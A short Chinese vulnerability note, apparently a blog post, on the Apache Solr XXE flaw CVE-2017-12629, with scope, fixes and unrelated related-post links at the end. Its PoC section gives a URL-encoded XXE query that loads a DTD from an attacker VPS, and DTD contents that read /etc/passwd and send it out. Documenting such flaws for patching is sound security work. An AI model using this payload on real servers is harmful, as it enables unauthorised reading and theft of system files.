Apache solr XML 实体注入漏洞

描述:

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

范围:

Apache solr<7.1.0 版本

利用:

可参考:https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/

以及:https://blog.csdn.net/yangbz123/article/details/117827547

修复:

升级更高版本

添加Solr访问控制,包括禁止本地直接未授权访问

修改相关java文件

Poc:
复制代码

/solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20root%5B%3C!ENTITY%20%25%20ext%20SYSTEM%20%22http%3A%2F%2Fxxx.xxx.xxx.xxx%2Fapachesolrxxe.dtd%22%3E%25ext%3B%25ent%3B%5D%3E%3Cr%3E%26data%3B%3C%2Fr%3E&wt=xml&defType=xmlparser 其中xxx.xxx.xxx.xxx为vps的ip地址 apachesolrxxe.dtd为dtd文件名

复制代码

vps中dtd文件内容:

复制代码

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

相关推荐
前网易架构师-高司机10 天前
带标注的驾驶员安全带识别数据集,识别率99.5%,可识别有无系安全带,支持yolo,coco json,pascal voc xml格式
xml·yolo·数据集·交通·安全带
逍遥德10 天前
Maven教程.01- settings.xml 文件<profile>使用详解
xml·java·maven
james的分享10 天前
大数据领域核心 SQL 优化框架Apache Calcite介绍
大数据·sql·apache·calcite
莫寒清10 天前
Apache Tika
java·人工智能·spring·apache·知识图谱
归叶再无青10 天前
web服务安装部署、性能升级等(Apache、Nginx)
运维·前端·nginx·云原生·apache·bash
逍遥德10 天前
Maven教程.03-如何阅读pom.xml文件
xml·java·后端·maven
松叶似针10 天前
Flutter三方库适配OpenHarmony【doc_text】— .docx 解析全流程:从 ZIP 解压到 XML 提取
xml·flutter·harmonyos
忙碌54411 天前
OpenTelemetry实战指南:构建云原生全链路可观测性体系
ios·flink·apache·iphone
松叶似针11 天前
Flutter三方库适配OpenHarmony【doc_text】— parseDocxXml:正则驱动的 XML 文本提取
xml·flutter
步步为营DotNet11 天前
深度解析.NET中LINQ的延迟执行:提升性能与资源管理的关键
.net·solr·linq